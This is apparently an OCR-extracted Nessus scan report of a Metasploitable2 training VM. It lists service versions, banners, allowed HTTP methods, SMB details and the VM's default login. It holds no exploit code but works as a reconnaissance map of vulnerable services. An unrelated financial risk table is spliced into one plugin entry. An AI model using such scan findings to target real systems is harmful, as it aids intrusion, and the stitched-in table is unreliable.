format string	: S=3570	SP=4522	AP=4522	SC=757680	
AC=757680					
script injection	: S=1	SP=1	AP=1	SC=1	AC=1
injectable parameter	: S=3570	SP=4522	AP=4522	SC=757680	
AC=757680					

cross-site scripting (comprehensive test):	S=30345	SP=38437	AP=38437	SC=6440280	
AC=6440280					
cross-site scripting (extended patterns) :	S=6	SP=6	AP=6	SC=6	AC=6
directory traversal (write access)	: S=3570	SP=4522	AP=4522	SC=757680	
AC=757680					
SSI injection	: S=5355	SP=6783	AP=6783	SC=1136520	
AC=1136520					
header injection	: S=2	SP=2	AP=2	SC=2	AC=2
HTML injection	: S=5	SP=5	AP=5	SC=5	AC=5
directory traversal	: S=51765	SP=65569	AP=65569	SC=10986360	
AC=10986360					
cross-site scripting (quick test)	[...]				

Synopsis

Load estimation for web application tests.

Description

This script computes the maximum number of requests that would be done by the generic web tests, depending on miscellaneous options. It does not perform any test by itself.

The results can be used to estimate the duration of these tests, or the complexity of additional manual tests.

Note that the script does not try to compute this duration based on external factors such as the network and web servers loads.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2009/10/26, Modified: 2021/01/19

Plugin Output

tcp/8180/www

```
Here are the estimated number of requests in miscellaneous modes
for one method only (GET or POST) :
[Single / Some Pairs / All Pairs / Some Combinations / All Combinations]

blind SQL injection (4 requests)      : S=92          SP=164          AP=164          SC=172
AC=172
SSI injection                          : S=69          SP=123          AP=123          SC=129
AC=129
SQL injection (2nd order)              : S=23          SP=41           AP=41           SC=43          AC=43
injectable parameter                  : S=46          SP=82           AP=82           SC=86          AC=86
arbitrary command execution            : S=506         SP=902          AP=902          SC=946
AC=946
arbitrary command execution (time based) : S=138         SP=246          AP=246          SC=258
AC=258
format string                          : S=46          SP=82           AP=82           SC=86          AC=86
local file inclusion                  : S=92          SP=164          AP=164          SC=172
AC=172
unseen parameters                     : S=805         SP=1435         AP=1435         SC=1505
AC=1505
XML injection                          : S=23          SP=41           AP=41           SC=43          AC=43
```

blind SQL injection	: S=276	SP=492	AP=492	SC=516	
AC=516					
cross-site scripting (comprehensive test):	S=391	SP=697	AP=697	SC=731	
AC=731					
directory traversal (write access)	: S=46	SP=82	AP=82	SC=86	AC=86
persistent XSS	: S=92	SP=164	AP=164	SC=172	
AC=172					
web code injection	: S=23	SP=41	AP=41	SC=43	AC=43
directory traversal (extended test)	: S=1173	SP=2091	AP=2091	SC=2193	
AC=2193					
SQL injection	: S=644	SP=1148	AP=1148	SC=1204	
AC=1204					
directory traversal	[...]				

Synopsis

Some generic CGI attacks ran out of time.

Description

Some generic CGI tests ran out of time during the scan. The results may be incomplete.

Solution

Consider increasing the 'maximum run time (minutes)' preference for the 'Web Applications Settings' in order to prevent the CGI scanning from timing out. Less ambitious options could also be used, such as :

- Test more than one parameter at a time per form :

'Test all combinations of parameters' is much slower than 'Test random pairs of parameters' or 'Test all pairs of parameters (slow)'.

- 'Stop after one flaw is found per web server (fastest)'

under 'Do not stop after the first flaw is found per web page' is quicker than 'Look for all flaws (slowest)'.

- In the Settings/Advanced menu, try reducing the value for 'Max number of concurrent TCP sessions per host' or 'Max simultaneous checks per host'.

Risk Factor

None

Plugin Information

Published: 2009/06/19, Modified: 2021/01/19

Plugin Output

tcp/80/www

The following tests timed out without finding any flaw :

- XML injection
- unseen parameters
- SQL injection (on parameters names)
- local file inclusion
- blind SQL injection (time based)
- arbitrary command execution (time based)
- XSS (on HTTP headers)
- SQL injection (2nd order)
- SSI injection (on HTTP headers)
- XSS (on parameters names)
- SSI injection
- arbitrary command execution
- SQL injection
- directory traversal (write access)

Synopsis

Some generic CGI attacks ran out of time.

Description

Some generic CGI tests ran out of time during the scan. The results may be incomplete.

Solution

Consider increasing the 'maximum run time (minutes)' preference for the 'Web Applications Settings' in order to prevent the CGI scanning from timing out. Less ambitious options could also be used, such as :

- Test more than one parameter at a time per form :

'Test all combinations of parameters' is much slower than 'Test random pairs of parameters' or 'Test all pairs of parameters (slow)'.

- 'Stop after one flaw is found per web server (fastest)'

under 'Do not stop after the first flaw is found per web page' is quicker than 'Look for all flaws (slowest)'.

- In the Settings/Advanced menu, try reducing the value for 'Max number of concurrent TCP sessions per host' or 'Max simultaneous checks per host'.

Risk Factor

None

Plugin Information

Published: 2009/06/19, Modified: 2021/01/19

Plugin Output

tcp/8180/www

```
The following tests timed out without finding any flaw :  
- injectable parameter  
- SQL injection  
- web code injection  
- directory traversal (extended test)
```

Synopsis

It was possible to enumerate CPE names that matched on the remote system.

Description

By using information obtained from a Nessus scan, this plugin reports CPE (Common Platform Enumeration) matches for various hardware and software products found on a host.

Note that if an official CPE is not available for the product, this plugin computes the best possible CPE based on the information available from the scan.

See Also

<http://cpe.mitre.org/>

<https://nvd.nist.gov/products/cpe>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2010/04/21, Modified: 2021/11/29

Plugin Output

tcp/0

The remote operating system matched the following CPE :

cpe:/o:canonical:ubuntu_linux:8.04

Following application CPE's matched on the remote system :

cpe:/a:apache:http_server:2.2.8 -> Apache Software Foundation Apache HTTP Server 2.2.8
cpe:/a:apache:http_server:2.2.99
cpe:/a:apache:tomcat:5.5
cpe:/a:isc:bind:9.4.1
cpe:/a:isc:bind:9.4.2 -> ISC BIND 9.4.2
cpe:/a:mysql:mysql:5.0.51a-3ubuntu5
cpe:/a:openbsd:openssh:4.7 -> OpenBSD OpenSSH 4.7
cpe:/a:php:php:5.2.4 -> PHP 5.2.4
cpe:/a:php:php:5.2.4-2ubuntu5.10
cpe:/a:phpmyadmin:phpmyadmin:3.1.1 -> phpMYAdmin 3.1.1
cpe:/a:postgresql:postgresql
cpe:/a:samba:samba:3.0.20 -> Samba 3.0.20

cpe:/a:twiki:twiki:01_feb_2003

Synopsis

It is possible to obtain the version number of the remote DNS server.

Description

The remote host is running BIND or another DNS server that reports its version number when it receives a special request for the text 'version.bind' in the domain 'chaos'.

This version is not necessarily accurate and could even be forged, as some DNS servers send the information based on a configuration file.

Solution

It is possible to hide the version number of BIND by using the 'version' directive in the 'options' section in named.conf.

Risk Factor

None

References

XREF IAVT:0001-T-0583

Plugin Information

Published: 1999/10/12, Modified: 2020/09/22

Plugin Output

udp/53/dns

```
Version : 9.4.2
```

Synopsis

A DNS server is listening on the remote host.

Description

The remote service is a Domain Name System (DNS) server, which provides a mapping between hostnames and IP addresses.

See Also

https://en.wikipedia.org/wiki/Domain_Name_System

Solution

Disable this service if it is not needed or restrict access to internal hosts only if the service is available externally.

Risk Factor

None

Plugin Information

Published: 2003/02/13, Modified: 2017/05/16

Plugin Output

tcp/53/dns

Synopsis

A DNS server is listening on the remote host.

Description

The remote service is a Domain Name System (DNS) server, which provides a mapping between hostnames and IP addresses.

See Also

https://en.wikipedia.org/wiki/Domain_Name_System

Solution

Disable this service if it is not needed or restrict access to internal hosts only if the service is available externally.

Risk Factor

None

Plugin Information

Published: 2003/02/13, Modified: 2017/05/16

Plugin Output

udp/53/dns

Synopsis

Nessus was able to obtain version information on the remote DNS server.

Description

Nessus was able to obtain version information by sending a special TXT record query to the remote host.

Note that this version is not necessarily accurate and could even be forged, as some DNS servers send the information based on a configuration file.

Solution

n/a

Risk Factor

None

References

XREF IAVT:0001-T-0937

Plugin Information

Published: 2014/03/03, Modified: 2020/09/22

Plugin Output

tcp/53/dns

```
DNS server answer for "version.bind" (over TCP) :
```

```
9.4.2
```

Synopsis

The DNS server discloses the remote host name.

Description

It is possible to learn the remote host name by querying the remote DNS server for 'hostname.bind' in the CHAOS domain.

Solution

It may be possible to disable this feature. Consult the vendor's documentation for more information.

Risk Factor

None

Plugin Information

Published: 2009/01/15, Modified: 2011/09/14

Plugin Output

udp/53/dns

```
The remote host name is :  
metasploitable
```

Synopsis

Secure Connections, using a deprecated protocol were attempted as part of the scan

Description

This plugin enumerates and reports any SSLv2 connections which were attempted as part of a scan. This protocol has been deemed prohibited since 2011 because of security vulnerabilities and most major ssl libraries such as openssl, nss, mbed and wolfssl do not provide this functionality in their latest versions. This protocol has been deprecated in Nessus 8.9 and later.

Solution

N/A

Risk Factor

None

Plugin Information

Published: 2020/01/06, Modified: 2020/01/06

Plugin Output

tcp/0

```
Nessus attempted the following SSLv2 connection(s) as part of this scan:
```

```
Plugin ID: 42476
Timestamp: 2021-12-06 20:50:15
Port: 22
```

Synopsis

It is possible to guess the remote device type.

Description

Based on the remote operating system, it is possible to determine what the remote system type is (eg: a printer, router, general-purpose computer, etc).

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2011/05/23, Modified: 2011/05/23

Plugin Output

tcp/0

```
Remote device type : general-purpose  
Confidence level : 95
```


Synopsis

The manufacturer can be identified from the Ethernet OUI.

Description

Each ethernet MAC address starts with a 24-bit Organizationally Unique Identifier (OUI). These OUIs are registered by IEEE.

See Also

<https://standards.ieee.org/faqs/regauth.html>

<http://www.nessus.org/u?794673b4>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2009/02/19, Modified: 2020/05/13

Plugin Output

tcp/0

```
The following card manufacturers were identified :
```

```
00:0C:29:3C:B7:D6 : VMware, Inc.
```

Synopsis

This plugin gathers MAC addresses from various sources and consolidates them into a list.

Description

This plugin gathers MAC addresses discovered from both remote probing of the host (e.g. SNMP and Netbios) and from running local checks (e.g. ifconfig). It then consolidates the MAC addresses into a single, unique, and uniform list.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2015/10/16, Modified: 2020/05/13

Plugin Output

tcp/0

```
The following is a consolidated list of detected MAC addresses:  
- 00:0C:29:3C:B7:D6
```

Synopsis

Links to external sites were gathered.

Description

Nessus gathered HREF links to external sites by crawling the remote web server.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2010/10/04, Modified: 2011/08/19

Plugin Output

tcp/80/www

```
117 external URLs were gathered on this web server :
URL... - Seen on...

http://Irongeek.com - /mutillidae/index.php?page=notes.php
http://TWiki.org/ - /twiki/bin/view/Main/WebHome
http://TWiki.org/cgi-bin/view/Main/TWikiAdminGroup - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/Main/TWikiUsers - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/AlWilliams - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/AndreaSterbini - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/BookView - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/ChangePassword - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/ChristopheVermeulen - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/ColasNahaboo - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/CrisBailiff - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/DavidWarman - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/DontNotify - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/FileAttachment - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/FormattedSearch - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/HaroldGottschalk - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/InterwikiPlugin - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/JohnAltstadt - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/JohnTalintyre - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/KevinKinnell - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/KlausWriessnegger - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/ManagingTopics - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/ManagingWebs - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/ManpreetSingh - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/NewUserTemplate - /twiki/TWikiHistory.html
http://TWiki.org/ [...]
```


Synopsis

Links to external sites were gathered.

Description

Nessus gathered HREF links to external sites by crawling the remote web server.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2010/10/04, Modified: 2011/08/19

Plugin Output

tcp/8180/www

```
112 external URLs were gathered on this web server :
URL... - Seen on...

http://192.168.1.209:8180/admin/error.jsp - /admin/j_security_check
http://192.168.1.209:8180/admin/login.jsp - /admin/
http://ant.apache.org - /tomcat-docs/manager-howto.html
http://ant.apache.org/bindownload.cgi - /tomcat-docs/building.html
http://apache.apache.org/ - /tomcat-docs/appdev/index.html
http://apr.apache.org/ - /tomcat-docs/apr.html
http://httpd.apache.org/docs/2.2/mod/mod_proxy_ajp.html - /tomcat-docs/config/ajp.html
http://httpd.apache.org/docs/2.2/mod/mod_ssl.html#sslcertificatefile - /tomcat-docs/apr.html
http://httpd.apache.org/docs/2.2/mod/mod_ssl.html#sslcertificatepath - /tomcat-docs/apr.html
http://httpd.apache.org/docs/2.2/mod/mod_ssl.html#sslcarevocationfile - /tomcat-docs/apr.html
http://httpd.apache.org/docs/2.2/mod/mod_ssl.html#sslcarevocationpath - /tomcat-docs/apr.html
http://httpd.apache.org/docs/2.2/mod/mod_ssl.html#sslcertificatechainfile - /tomcat-docs/apr.html
http://httpd.apache.org/docs/howto/ssi.html#basicssidirectives - /tomcat-docs/ssi-howto.html
http://issues.apache.org/bugzilla/buglist.cgi?
bug_status=UNCONFIRMED&bug_status=NEW&bug_status=ASSIGNED&bug_status=REOPENED&bug_status=RESOLVED&resolution=LATER
&bugidtype=include&product=Tomcat+5&cmdtype=doit&order=Importance - /
http://issues.apache.org/bugzilla/show_bug.cgi?id=22679 - /tomcat-docs/ssl-howto.html
http://issues.apache.org/bugzilla/show_bug.cgi?id=34643 - /tomcat-docs/ssl-howto.html
http://issues.apache.org/bugzilla/show_bug.cgi?id=37668 - /tomcat-docs/config/context.html
http://issues.apache.org/bugzilla/show_bug.cgi?id=38217 - /tomcat-docs/ssl-howto.html
http://issues.apache.org/bugzilla/show_bug.cgi?id=39013 - /tomcat-docs/config/context.html
http://jakarta.apache.org/commons - /tomcat-docs/jndi-resources-howto.html
http://jakarta.apache.org/commons/dbcp/configuration.html - /tomcat-docs/jndi-datasource-examples-h
[...]
```

Synopsis

An FTP server is listening on a remote port.

Description

It is possible to obtain the banner of the remote FTP server by connecting to a remote port.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 1999/10/12, Modified: 2019/11/22

Plugin Output

tcp/21/ftp

```
The remote FTP banner is :  
  
220 (vsFTPd 2.3.4)
```

Synopsis

An FTP server is listening on a remote port.

Description

It is possible to obtain the banner of the remote FTP server by connecting to a remote port.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 1999/10/12, Modified: 2019/11/22

Plugin Output

tcp/2121/ftp

```
The remote FTP banner is :  
  
220 ProFTPD 1.3.1 Server (Debian) [::ffff:192.168.1.209]
```

43111 - HTTP Methods Allowed (per directory)

Synopsis

This plugin determines which HTTP methods are allowed on various CGI directories.

Description

By calling the OPTIONS method, it is possible to determine which HTTP methods are allowed on each directory.

The following HTTP methods are considered insecure:

PUT, DELETE, CONNECT, TRACE, HEAD

Many frameworks and languages treat 'HEAD' as a 'GET' request, albeit one without any body in the response. If a security constraint was set on 'GET' requests such that only 'authenticatedUsers' could access GET requests for a particular servlet or resource, it would be bypassed for the 'HEAD' version. This allowed unauthorized blind submission of any privileged GET request.

As this list may be incomplete, the plugin also tests - if 'Thorough tests' are enabled or 'Enable web applications tests' is set to 'yes'

in the scan policy - various known HTTP methods on each directory and considers them as unsupported if it receives a response code of 400, 403, 405, or 501.

Note that the plugin output is only informational and does not necessarily indicate the presence of any security vulnerabilities.

See Also

<http://www.nessus.org/u?d9c03a9a>

<http://www.nessus.org/u?b019cbdb>

[https://www.owasp.org/index.php/Test_HTTP_Methods_\(OTG-CONFIG-006\)](https://www.owasp.org/index.php/Test_HTTP_Methods_(OTG-CONFIG-006))

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2009/12/10, Modified: 2019/03/19

Plugin Output

tcp/80/www

Based on the response to an OPTIONS request :

- HTTP methods COPY DELETE GET HEAD LOCK MOVE OPTIONS POST PROPFIND PROPPATCH TRACE UNLOCK are allowed on :

/dav

- HTTP methods GET HEAD OPTIONS POST TRACE are allowed on :

/doc
/dvwa/dvwa
/dvwa/dvwa/css
/dvwa/dvwa/images
/dvwa/dvwa/includes
/dvwa/dvwa/includes/DBMS
/dvwa/dvwa/js
/icons
/mutillidae/documentation
/mutillidae/styles
/mutillidae/styles/ddsmoothmenu
/test
/test/testoutput
/twiki

Based on tests of each method :

- HTTP methods ACL BASELINE-CONTROL BCOPY BDELETE BMOVE BPROPFIND BPROPPATCH CHECKIN CHECKOUT COPY DEBUG DELETE GET HEAD INDEX LABEL LOCK MERGE MKACTION MKCOL MKWORKSPACE MOVE NOTIFY OPTIONS ORDERPATCH PATCH POLL POST PROPFIND PROPPATCH PUT REPORT RPC_IN_DATA RPC_OUT_DATA SEARCH SUBSCRIBE TRACE UNCHECKOUT UNLOCK UNSUBSCRIBE UPDATE VERSION-CONTROL X-MS-ENUMATTS are allowed on :

/cgi-bin
/twiki/bin

- HTTP methods COPY DELETE GET HEAD MKCOL MKWORKSPACE MOVE NOTIFY OPTIONS ORDERPATCH PATCH POLL POST PROPFIND PROPPATCH PUT REPORT RPC_IN_DATA RPC_OUT_DATA SEARCH SUBSCRIBE TRACE UNCHECKOUT UNLOCK UNSUBSCRIBE UPDATE VERSION-CONTROL X-MS-ENUMATTS are allowed on :

/dav

- HTTP methods GET HEAD OPTIONS POST TRACE are allowed on :

/doc
/dvwa
/dvwa/dvwa
/dvwa/dvwa/css
/dvwa/dvwa/images
/dvwa/dvwa/includes
/dvwa/dvwa/includes/DBMS
/dvwa/dvwa/js
/icons
/mutillidae
/mutillidae/documentation
/mutillidae/styles
/mutillidae/styles/ddsmoothmenu
/phpMyAdmin
/test
/test/testoutput
/twiki

- Invalid/unknown HTTP methods are allowed on :

/cgi-bin
/dav
/twiki/bin

43111 - HTTP Methods Allowed (per directory)

Synopsis

This plugin determines which HTTP methods are allowed on various CGI directories.

Description

By calling the OPTIONS method, it is possible to determine which HTTP methods are allowed on each directory.

The following HTTP methods are considered insecure:

PUT, DELETE, CONNECT, TRACE, HEAD

Many frameworks and languages treat 'HEAD' as a 'GET' request, albeit one without any body in the response. If a security constraint was set on 'GET' requests such that only 'authenticatedUsers' could access GET requests for a particular servlet or resource, it would be bypassed for the 'HEAD' version. This allowed unauthorized blind submission of any privileged GET request.

As this list may be incomplete, the plugin also tests - if 'Thorough tests' are enabled or 'Enable web applications tests' is set to 'yes'

in the scan policy - various known HTTP methods on each directory and considers them as unsupported if it receives a response code of 400, 403, 405, or 501.

Note that the plugin output is only informational and does not necessarily indicate the presence of any security vulnerabilities.

See Also

<http://www.nessus.org/u?d9c03a9a>

<http://www.nessus.org/u?b019cbdb>

[https://www.owasp.org/index.php/Test_HTTP_Methods_\(OTG-CONFIG-006\)](https://www.owasp.org/index.php/Test_HTTP_Methods_(OTG-CONFIG-006))

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2009/12/10, Modified: 2019/03/19

Plugin Output

tcp/8180/www

Based on the response to an OPTIONS request :

- HTTP methods DELETE HEAD OPTIONS POST PUT TRACE GET
are allowed on :

```
/admin/error.jsp
/host-manager
/jsp-examples
/jsp-examples/cal
/jsp-examples/checkbox
/jsp-examples/colors
/jsp-examples/dates
/jsp-examples/error
/jsp-examples/forward
/jsp-examples/include
/jsp-examples/jsp2
/jsp-examples/jsp2/el
/jsp-examples/jsp2/jspattribute
/jsp-examples/jsp2/jsp
/jsp-examples/jsp2/misc
/servlets-examples
```

Based on tests of each method :

- HTTP methods GET HEAD OPTIONS POST are allowed on :

```
/
/admin
/admin/error.jsp
/host-manager
/jsp-examples
/jsp-examples/cal
/jsp-examples/checkbox
/jsp-examples/colors
/jsp-examples/dates
/jsp-examples/error
/jsp-examples/forward
/jsp-examples/include
/jsp-examples/jsp2
/jsp-examples/jsp2/el
/jsp-examples/jsp2/jspattribute
/jsp-examples/jsp2/jsp
/jsp-examples/jsp2/misc
/servlets-examples
```

Synopsis

A web server is running on the remote host.

Description

This plugin attempts to determine the type and the version of the remote web server.

Solution

n/a

Risk Factor

None

References

XREF IAVT:0001-T-0931

Plugin Information

Published: 2000/01/04, Modified: 2020/10/30

Plugin Output

tcp/80/www

```
The remote web server type is :  
Apache/2.2.8 (Ubuntu) DAV/2
```

Synopsis

A web server is running on the remote host.

Description

This plugin attempts to determine the type and the version of the remote web server.

Solution

n/a

Risk Factor

None

References

XREF IAVT:0001-T-0931

Plugin Information

Published: 2000/01/04, Modified: 2020/10/30

Plugin Output

tcp/8180/www

```
The remote web server type is :  
Apache-Coyote/1.1
```

Synopsis

Some information about the remote HTTP configuration can be extracted.

Description

This test gives some information about the remote HTTP protocol - the version used, whether HTTP Keep-Alive and HTTP pipelining are enabled, etc...

This test is informational only and does not denote any security problem.

Solution

n/a

Risk Factor	Impact	Control
1. Market Volatility	High	1. Diversification of investments
2. Interest Rate Fluctuations	Medium	2. Hedging strategies
3. Regulatory Changes	Medium	3. Compliance monitoring
4. Operational Risks	Low	4. Robust internal controls
5. Counterparty Risk	Medium	5. Credit rating agencies
6. Systemic Risk	High	6. Stress testing
7. Reputation Risk	Medium	7. Proactive communication
8. Environmental Risk	Low	8. Sustainability initiatives
9. Human Capital Risk	Medium	9. Employee training programs
10. Technological Risk	Medium	10. Cybersecurity measures

None

Plugin Information

Published: 2007/01/30, Modified: 2019/11/22

Plugin Output

tcp/80/www

Response Code : HTTP/1.1 200 OK

Protocol version : HTTP/1.1

SSL : no

```
Keep-Alive : yes
```

Options allowed : (Not implemented)

Headers :

```
Date: Mon, 06 Dec 2021 21:15:21 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2
X-Powered-By: PHP/5.2.4-2ubuntu5.10
Content-Length: 891
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html
```

Response Body :

```
<html><head><title>Metasploitable2 - Linux</title></head><body>
<pre>
```

[illegible]

Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

```
</pre>
<ul>
<li><a href="/twiki/">TWiki</a></li>
<li><a href="/phpMyAdmin/">phpMyAdmin</a></li>
<li><a href="/mutillidae/">Mutillidae</a></li>
<li><a href="/dvwa/">DVWA</a></li>
<li><a href="/dav/">WebDAV</a></li>
</ul>
</body>
</html>
```

Synopsis

Some information about the remote HTTP configuration can be extracted.

Description

This test gives some information about the remote HTTP protocol - the version used, whether HTTP Keep-Alive and HTTP pipelining are enabled, etc...

This test is informational only and does not denote any security problem.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/01/30, Modified: 2019/11/22

Plugin Output

tcp/8180/www

Response Code : HTTP/1.1 200 OK

Protocol version : HTTP/1.1

SSL : no

Keep-Alive : no

Options allowed : GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS

Headers :

Server: Apache-Coyote/1.1

Content-Type: text/html; charset=ISO-8859-1

Date: Mon, 06 Dec 2021 21:15:21 GMT

Connection: close

Response Body :

<!--

Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to You under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at

<http://www.apache.org/licenses/LICENSE-2.0>

Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS,

WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.

```
-->
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
  <head>
    <title>Apache Tomcat/5.5</title>
    <style type="text/css">
/**/
    body {
      color: #000000;
      background-color: #FFFFFF;
font-family: Arial, "Times New Roman", Times, serif;
      margin: 10px 0px;
    }

    img {
      border: none;
    }

    a:link, a:visited {
      color: blue
    }

    th {
      font-family: Verdana, "Times New Roman", Times, serif;
      font-size: 110%;
      font-weight: normal;
      font-style: italic;
      background: #D2A41C;
      text-align: left;
    }

    td {
      color: #000000;
font-family: Arial, Helvetica, sans-serif;
    }

    td.menu {
      background: #FFDC75;
    }

    .center [...]</pre></div><div data-bbox="87 937 177 951" data-label="Page-Footer"><p>192.168.1.209</p></div><div data-bbox="877 937 910 951" data-label="Page-Footer"><p>185</p></div>
```

Synopsis

It is possible to determine the exact time set on the remote host.

Description

The remote host answers to an ICMP timestamp request. This allows an attacker to know the date that is set on the targeted machine, which may assist an unauthenticated, remote attacker in defeating time-based authentication protocols.

Timestamps returned from machines running Windows Vista / 7 / 2008 / 2008 R2 are deliberately incorrect, but usually within 1000 seconds of the actual system time.

Solution

Filter out the ICMP timestamp requests (13), and the outgoing ICMP timestamp replies (14).

Risk Factor

None

CVSS v3.0 Base Score

0.0 (CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N)

CVSS v2.0 Base Score

0.0 (CVSS2#AV:L/AC:L/Au:N/C:N/I:N/A:N)

References

| | |
|------|---------------|
| CVE | CVE-1999-0524 |
| XREF | CWE:200 |

Plugin Information

Published: 1999/08/01, Modified: 2019/10/04

Plugin Output

icmp/0

```
The difference between the local and remote clocks is -209 seconds.
```

Synopsis

This plugin detects the protocols understood by the remote IP stack.

Description

This plugin detects the protocols understood by the remote IP stack.

See Also

<http://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2004/09/22, Modified: 2019/03/06

Plugin Output

tcp/0

```
The following IP protocols are accepted on this host:
1ICMP
2IGMP
6TCP
17UDP
136UDPLite
```

Synopsis

The remote host is an IRC server.

Description

This plugin determines the version of the IRC daemon.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/11/19, Modified: 2016/01/08

Plugin Output

tcp/6667/irc

```
The IRC server version is : Unreal3.2.8.1. FhIXOoE [*=2309]
```

Synopsis

It is possible to obtain network information.

Description

It was possible to obtain the browse list of the remote Windows system by sending a request to the LANMAN pipe. The browse list is the list of the nearest Windows systems of the remote host.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2000/05/09, Modified: 2019/11/22

Plugin Output

tcp/445/cifs

```
Here is the browse list of the remote host :
```

```
DCS1 ( os : 0.0 )  
DESKTOP-J8UAOM1 ( os : 0.0 )  
METASPLOITABLE ( os : 0.0 )  
SYNOLOGYROUTER ( os : 0.0 )  
VEEAM ( os : 0.0 )
```

Synopsis

It was possible to obtain information about the remote operating system.

Description

Nessus was able to obtain the remote operating system name and version (Windows and/or Samba) by sending an authentication request to port 139 or 445. Note that this plugin requires SMB to be enabled on the host.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2001/10/17, Modified: 2021/09/20

Plugin Output

tcp/445/cifs

```
The remote Operating System is : Unix
The remote native LAN manager is : Samba 3.0.20-Debian
The remote SMB Domain Name is : METASPLOITABLE
```

Synopsis

A file / print sharing service is listening on the remote host.

Description

The remote service understands the CIFS (Common Internet File System) or Server Message Block (SMB) protocol, used to provide shared access to files, printers, etc between nodes on a network.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/06/05, Modified: 2021/02/11

Plugin Output

tcp/139/smb

```
An SMB server is running on this port.
```

Synopsis

A file / print sharing service is listening on the remote host.

Description

The remote service understands the CIFS (Common Internet File System) or Server Message Block (SMB) protocol, used to provide shared access to files, printers, etc between nodes on a network.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/06/05, Modified: 2021/02/11

Plugin Output

tcp/445/cifs

```
A CIFS server is running on this port.
```


Synopsis

It was possible to obtain information about the version of SMB running on the remote host.

Description

Nessus was able to obtain the version of SMB running on the remote host by sending an authentication request to port 139 or 445.

Note that this plugin is a remote check and does not work on agents.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2017/06/19, Modified: 2019/11/22

Plugin Output

tcp/445/cifs

```
The remote host supports the following versions of SMB :
  SMBv1
```

Synopsis

It was possible to obtain information about the dialects of SMB2 and SMB3 available on the remote host.

Description

Nessus was able to obtain the set of SMB2 and SMB3 dialects running on the remote host by sending an authentication request to port 139 or 445.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2018/02/09, Modified: 2020/03/11

Plugin Output

tcp/445/cifs

```
The remote host does NOT support the following SMB dialects :
_version_  _introduced in windows version_
2.0.2      Windows 2008
2.1        Windows 7
2.2.2      Windows 8 Beta
2.2.4      Windows 8 Beta
3.0        Windows 8
3.0.2      Windows 8.1
3.1        Windows 10
3.1.1      Windows 10
```

Synopsis

The remote web server does not take steps to mitigate a class of web application vulnerabilities.

Description

The remote web server in some responses sets a permissive Content-Security-Policy (CSP) frame-ancestors response header or does not set one at all.

The CSP frame-ancestors header has been proposed by the W3C Web Application Security Working Group as a way to mitigate cross-site scripting and clickjacking attacks.

See Also

<http://www.nessus.org/u?55aa8f57>

<http://www.nessus.org/u?07cc2a06>

<https://content-security-policy.com/>

<https://www.w3.org/TR/CSP2/>

Solution

Set a non-permissive Content-Security-Policy frame-ancestors header for all requested resources.

Risk Factor

None

Plugin Information

Published: 2010/10/26, Modified: 2021/01/19

Plugin Output

tcp/80/www

The following pages do not set a Content-Security-Policy frame-ancestors response header or set a permissive policy:

- <http://192.168.1.209/>
- <http://192.168.1.209/dav/>
- <http://192.168.1.209/dav/?C=D%3BO=A>
